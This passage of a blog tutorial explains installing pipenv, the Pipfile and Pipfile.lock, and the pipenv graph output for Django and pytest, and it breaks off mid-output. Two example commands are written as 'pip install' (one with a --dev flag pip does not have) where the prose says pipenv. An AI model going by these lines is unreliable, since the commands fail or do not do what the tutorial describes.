.banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installation-and-use-of-pipenv&#34;&gt;Installation and use of pipenv&lt;/h2&gt;&#xA;&lt;p&gt;If you are on Debian or a derivative distribution (such as Ubuntu) you can try your luck by trying to install it directly from the repositories.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install pipenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If it is not in the repositories we can also make use of &lt;em&gt;pip&lt;/em&gt;, which is already installed in most distributions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install pipenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once installed we can start installing packages using the &lt;em&gt;install&lt;/em&gt; option, for this example let&amp;rsquo;s try with a specific version of Django.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;django&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;3.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we do an &lt;em&gt;ls&lt;/em&gt; we can notice that two files &lt;em&gt;Pipfile&lt;/em&gt; and &lt;em&gt;Pipfile.lock&lt;/em&gt; were created.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Pipfile Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What is in these files? I will explain it below. First let&amp;rsquo;s go to the Pipfile file.&lt;/p&gt;&#xA;&lt;h2 id=&#34;whats-pipfile-for-in-pipenv&#34;&gt;What&amp;rsquo;s Pipfile for in Pipenv?&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start by looking at the contents of the &lt;em&gt;Pipfile&lt;/em&gt; file. If you have any difficulty using the command line I suggest you check the entries where I talk about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;basic GNU/Linux commands&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat Pipfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[[&lt;/span&gt;source&lt;span style=&#34;color:#ff6ac1&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://pypi.org/simple&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;verify_ssl&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;django&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;===3.0.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;requires&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;python_version&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Analyzing the content we can see that this file shows several categories&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;source: the source of our packages, with its name, url and if encryption was used.&lt;/li&gt;&#xA;&lt;li&gt;dev-packages: the development packages, at this moment it is empty.&lt;/li&gt;&#xA;&lt;li&gt;packages: the packages that we have installed and that will be used in the project&lt;/li&gt;&#xA;&lt;li&gt;requires: the Python version required for the project, it is specified automatically or you can do it yourself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install --dev pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we cat again we will see that under the &lt;em&gt;[dev-packages]&lt;/em&gt; section &lt;em&gt;pytest&lt;/em&gt; already appears as a dependency.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat Pipfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[[&lt;/span&gt;source&lt;span style=&#34;color:#ff6ac1&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://pypi.org/simple&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;verify_ssl&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pytest&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;django&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;===3.0.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;requires&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;python_version&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;whats-pipfilelock-for-in-pipenv&#34;&gt;What&amp;rsquo;s Pipfile.lock for in Pipenv?&lt;/h2&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s do a &lt;em&gt;cat&lt;/em&gt; to &lt;em&gt;Pipfile.lock&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;_meta&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hash&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;c2bf0d0008c675fc08df79a9cdb6b94773be0defa60d2c5b8aae0142358aa574&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pipfile-spec&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;requires&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;python_version&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sources&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://pypi.org/simple&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;verify_ssl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;asgiref&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hashes&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:7e51911ee147dd685c3c8b805c0ad0cb58d360987b56953878f8c06d2d1c6f1a&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:9fc6fb5d39b8af147ba40765234fa822b39818b12cc80b35ad9b0cef3a476aed&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;markers&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;python_version &amp;gt;= &amp;#39;3.5&amp;#39;&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;==3.2.10&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hashes&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:315b11ea265dd15348d47f2cbb044ef71da2018f6e582fed875c889758e6f844&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:b61295749be7e1c42467c55bcabdaee9fbe9496fdf9ed2e22cef44d9de2ff953&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;index&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;===3.0.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The file may look very flashy, but it is only the hashes of the packages that we install, as well as their dependencies, this way we make sure that the versions we install are the correct ones and also &lt;strong&gt;will allow us to get exactly the same package configuration&lt;/strong&gt; if we take these files and take them to another computer.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-visualize-the-dependencies-graphically&#34;&gt;How to visualize the dependencies graphically?&lt;/h3&gt;&#xA;&lt;p&gt;If we now use the &lt;em&gt;pipenv graph&lt;/em&gt; command it will generate a detailed and visually friendly representation of the dependencies we have installed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv graph&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;Django&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - asgiref &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: ~&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;3.2, installed: 3.2.10&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - pytz &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 2020.1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - sqlparse &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.2.2, installed: 0.3.1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pytest&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;5.4.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - attrs &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;17.4.0, installed: 19.3.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - importlib-metadata &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.12, installed: 1.7.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - zipp &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.5, installed: 3.1.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - more-itertools &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;4.0.0, installed: 